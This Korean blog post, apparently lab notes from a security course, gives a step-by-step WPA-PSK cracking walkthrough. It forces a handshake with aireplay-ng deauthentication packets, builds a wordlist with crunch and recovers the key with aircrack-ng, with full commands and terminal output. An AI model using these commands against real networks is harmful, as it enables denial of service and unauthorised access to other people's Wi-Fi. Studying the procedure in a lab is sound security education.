본문 바로가기

Learning/└◆Wireless Hacking

WPA Key Cracking

WPA 키 크래킹

아무리 많이 잡아도 랜덤하게 생성되기 때문에 유추할 수 없다. 하지만 다른 단점으로 자체 알고리즘, 시스템에 대한 문제는 없지만, WPA핸드폰으로 된 방식이 붙어있으면 다른 공격자가 실제 IP를 할당하지 않아도 중간에 오고 가는 패킷들을 잡아 볼 수 있다. 주변에 WIFI를 모두 검색할 수 있어서 무선AP에 실제 인증되어 있는 목록까지 볼 수 있다. IP할당 없이 커넥션을 이루지 않아도 가능하다. 캡쳐된 패킷을 사전파일로 만들어서 사용한다. 


WPA 키 크래킹 원리 - death패킷을 보내서 다시 인증하는 패킷을 잡아서 사전파일로 비교하여 패스워드를 크랙킹한다. 좋은 사전파일을 갖고 있는 것이 중요하다.


deauth패킷을 보내면 인증을 새로하려고 하는데 패킷을 통화 몇 비트 사용하는지 알 수 있다. (암호화 버전 협상) 때문에 패킷으로 사전파일을 만들어서 크랙하는 것이다.


(전제조건) AP에 누군가가 잡혀있어야 한다.

1. 패킷 캡쳐

2. 상대편한테 deauth  보내고

3. 패킷이 잡히면 그것으로 사전파일로 공격!


USB방식은 하나를 쓰면 다른사람이 못쓰게 막는다.

 

  

(가정) 무선랜 카드가 장착되어 있다고 가정한다.

 

모니터 모드(관리모드 -> 모니터모드)로 전환

# iwconfig

 

wlan0     IEEE 802.11abgn  ESSID:off/any  

          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   

          Retry short limit:7   RTS thr:off   Fragment thr:off

          Encryption key:off

          Power Management:off

          

lo        no wireless extensions.


eth0      no wireless extensions.


eth1      no wireless extensions.

 

 

# airmon-ng

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

 

 

# airmon-ng start wlan0

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

(monitor mode enabled on mon0)

 

 

# airmon-ng

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy0]

mon0 Ralink RT2870/3070 rt2800usb - [phy0]

 

 

 

공격할 무선 AP를 검색

# airodump-ng mon0

 

CH  7 ][ Elapsed: 16 s ][ 2014-12-02 18:22                                         

                                                                                          

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

                                                                                          

 64:E5:99:43:65:33  -52       41        0    0   3  54e  OPN              securityhacker4 

 64:E5:99:43:65:31  -55       45        0    0   3  54e  WPA  TKIP   PSK  securityhacker2 

 64:E5:99:43:65:32  -50       45        0    0   3  54   WEP  WEP         securityhacker3 

 64:E5:99:43:65:30  -50       39        0    0   3  54e  WPA2 CCMP   PSK  securityhacker  

 D0:57:85:68:62:9B  -54       38       23    0   6  54e. WPA2 CCMP   PSK  AndroidHotspot A

 00:08:5B:7B:22:00  -59       37        0    0   3  54e. WPA  TKIP   PSK  <length:  0>    

 00:08:5B:7B:22:01  -61       32        5    0   3  54e. WPA2 TKIP   PSK  uri401          

 10:68:3F:4A:47:C9  -62       35        0    0   6  54e. WPA2 CCMP   PSK  G_2412          

 00:08:5B:7B:22:F1  -63       13        0    0   4  54e. WPA2 TKIP   PSK  uri402-2        

 64:E5:99:42:60:A4  -63       21        1    0   5  54e  WPA2 CCMP   PSK  soldesk11       

 00:08:5B:7B:22:F0  -64       23        0    0   4  54e. WPA  TKIP   PSK  <length:  0>    

 00:08:5B:7B:25:B0  -64       23        0    0   9  54e. WPA  TKIP   PSK  <length:  0>    

 64:E5:99:58:B1:B0  -63        9        0    0   5  54e  WEP  WEP         Android          

 00:08:5B:7B:25:B1  -64       16        1    0   9  54e. WPA2 TKIP   PSK  uri402-1         

 00:08:5B:7B:21:C9  -66        8        0    0   1  54e. WPA2 TKIP   PSK  uri403-2         

 00:08:5B:7B:21:C8  -66       10        0    0   1  54e. WPA  TKIP   PSK  <length:  0>     

 00:08:9F:45:32:84  -70        5        0    0   9  54e  WPA2 TKIP   PSK  UgaKing111150    

                                                                                           

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 

                                                                                           

 (not associated)   C0:65:99:EB:33:39  -47    0 - 1      0        4                        

 (not associated)   18:E2:C2:05:CC:F7  -61    0 - 1     40        9  uri402-2              

 (not associated)   60:6C:66:75:50:1C  -67    0 - 1      0        1                        

 (not associated)   E0:CA:94:E4:89:B0  -69    0 - 1      0        4                        

 (not associated)   C4:43:8F:B1:A7:66  -71    0 - 1      0        2  

<CTRL + C>        

 

-> 1분 정도 검색한 후 <CTRL + C>를 통해 끊는다.

-> 무선 APBSSID와 채널 번호를 기억해야 한다.

 

# airodump-ng -c 3 --bssid 64:E5:99:43:65:31 mon0

 

 CH  3 ][ Elapsed: 1 min ][ 2015-05-14 13:58 ][ WPA handshake: 64:E5:99:43:65:31                   

                                                                                                   

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

                                                                                                   

 64:E5:99:43:65:31  -45  23      738     1459    3   3  54e  WPA  TKIP   PSK  securityhacker2      

                                                                                                   

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                         

                                                                                                   

 64:E5:99:43:65:31  08:3D:88:1E:79:FD  -43   48e- 6      1      298  securityhacker2  

 

-> 무선 AP에 접속한 사용자 검색

 

 

 

 

연결된 스테이션을 DoS 공격을 통해 강제로 연결을 해제 후 재결합 과정을 거치게 한다.

 

이제 핸드폰을 무선 AP에 접속을 시킨다.

그리고 airodump 화면을 보면 왼쪽 상단에 "WPA handshake: ...." 메세지가 보인다.

 

[TERM2] 공격자 윈도우

     (명령어 형식)

     # airodump -c <채널번호> --bssid <BSSID> -w <저장할 파일> <Monitor Mode LAN Card>

 

# airodump-ng -c 3 --bssid 64:E5:99:43:65:31 -w /test/WPA mon0

 

 

[TERM3] 공격자 윈도우

     (명령어 형식)

     # aireplay-ng -0 <숫자> -a <무선 AP BSSID> -c <STATION MAC> <Monitor Mode LAN Card>

 

# aireplay-ng -0 5 -a 64:E5:99:43:65:31 -c 08:3D:88:1E:79:FD mon0

 

15:16:35 Waiting for beacon frame (BSSID: 64:E5:99:43:65:31) on channel -1

15:16:35 Couldn't determine current channel for mon0, you should either force the 

operation with --ignore-negative-one or apply a kernel patch

Please specify an ESSID (-e).

 

 

     # man aireplay-ng

     --ignore-negative-one if the interface's channel can't be determined

     ignore the mismatch, needed for unpatched cfg80211

 

# aireplay-ng --ignore-negative-one -0 5 -a 64:E5:99:43:65:31 -c 08:3D:88:1E:79:FD mon0

 

14:50:53 Waiting for beacon frame (BSSID: 64:E5:99:43:65:30) on channel -1

14:50:54 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|59 ACKs]

14:50:55 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|62 ACKs]

14:50:56 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|62 ACKs]

14:50:56 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|57 ACKs]

14:50:57 Sending 64 directed DeAuth. STMAC: [08:3D:88:1E:79:FD] [ 0|20 ACKs]

 

 

핸드폰에서 인증을 끊고 다시 연결해 본다.(또는 핸드폰 인증이 자동으로 끊기게 될것이다.)

 

 

 

WPA 키를 크랙한다.

     (명령어 사용법)

     # aircrack-ng -b <BSSID> -w <사전파일> <읽어들일 파일>

 

[TERM3] 공격자 윈도우

     (명령어 사용법)

     # crunch <min-len> <max-len> [<charset string>] [options]

 

# cd /test

# crunch 3 3 sol

-> 테스트

 

[참고] 실습을 빠르게 진행하기 위해서는 dictionary 파일을 작게 만들어서 테스트한다.

# for i in `seq 1111 1234`

do

echo $i >> /test/dictionary1.txt

done

# echo 'soldesk1.' >> /test/dictionary1.txt

# cat /test/dictionary1.txt

 

# crunch 9 9 soldesk1. > /test/dictionary1.txt

 

Crunch will now generate the following amount of data: 1342177280 bytes

1280 MB

1 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 134217728

 

-> 약간 시간이 걸림(1G 이상되는 파일이 생성됨)

 

# egrep --color soldesk1 /test/dictionary1.txt

 

ssoldesk1

soldesk1s

soldesk1o

soldesk1l

soldesk1d

soldesk1e

soldesk1k

soldesk11

soldesk1.

osoldesk1

lsoldesk1

dsoldesk1

esoldesk1

ksoldesk1

1soldesk1

.soldesk1

 

-> soldesk1. 확인

 

# aircrack-ng -b 64:E5:99:43:65:31 -w /test/dictionary1.txt /test/WPA-01.cap

 

                                 Aircrack-ng 1.2 beta3



                   [00:13:52] 2736488 keys tested (2226.26 k/s)



                           KEY FOUND! [ soldesk1. ]



      Master Key     : 08 B9 10 99 39 F5 9D E4 6D 6B E5 88 AF D8 C2 F3 

                       38 36 3E A0 E3 20 A5 7B 4B 7F 74 3D C3 D9 79 D3 


      Transient Key  : F0 8F CA 54 8B 78 26 95 A9 8C AD 56 1E 61 5D 3F 

                       F4 18 4D A2 6C 5A CB B3 FF 9D 70 E3 9F A4 E7 E4 

                       31 9F FF 58 B2 06 07 16 DE DA BD 5D D1 5A AB 4F 

                       A6 9F C3 ED 05 65 41 18 70 67 02 38 13 F6 2A 31 


      EAPOL HMAC     : F2 D8 25 5D 87 B7 FE CD 28 A0 97 3F 38 A3 5D D1 

 

-> 많은 시간이 걸린다.

 

실습이 끝났다면 복원작업

# airmon-ng

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy4]

mon0 Ralink RT2870/3070 rt2800usb - [phy4]

 

 

# iwconfig

 

wlan0     IEEE 802.11abgn  ESSID:off/any  

          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   

          Retry short limit:7   RTS thr:off   Fragment thr:off

          Encryption key:off

          Power Management:off

          

lo        no wireless extensions.


mon0      IEEE 802.11abgn  Mode:Monitor  Tx-Power=20 dBm   

          Retry short limit:7   RTS thr:off   Fragment thr:off

          Power Management:off

          

eth0      no wireless extensions.


eth1      no wireless extensions.

 

 

# airmon-ng stop mon0

 

Interface Chipset Driver


wlan0 Ralink RT2870/3070 rt2800usb - [phy4]

mon0 Ralink RT2870/3070 rt2800usb - [phy4] (removed)

 

 

 

 

(절차정리) WPA 방식의 암호 크래킹

USB 방식의 무선 랜카드 장착            (물리적으로 장착)

# airmon-ng start wlan0            (wlan0 -> mon0)

# airodump-ng mon0                 (WPA 방식의 AP 검색)

# airodump-ng -c 3 --bssid 64:E5:99:43:65:31 -w packet mon0

                                    (WPA 방식의 패킷 캡쳐 & 저장 & 무선 AP 붙어있는 STATION 확인

# aireplay-ng -0 5 -a 64:E5:99:43:65:31 -c 08:3D:88:1E:79:FD mon0

                                    (무선 AP 붙어 있는 STATIONdeauth 패킷 보내기)

# aircrack-ng -b 64:E5:99:43:65:31 -w dictionary1.txt packet-01.cap

                                    (사전파일 비교를 통해 WPA 암호 크래킹) 

 

 

'Learning > └◆Wireless Hacking' 카테고리의 다른 글

Fake AP  (0) 2017.02.01
WPA2 Key Cracking  (0) 2017.02.01
WEP Password Cracking  (0) 2017.02.01
Wireless Hacking  (0) 2017.02.01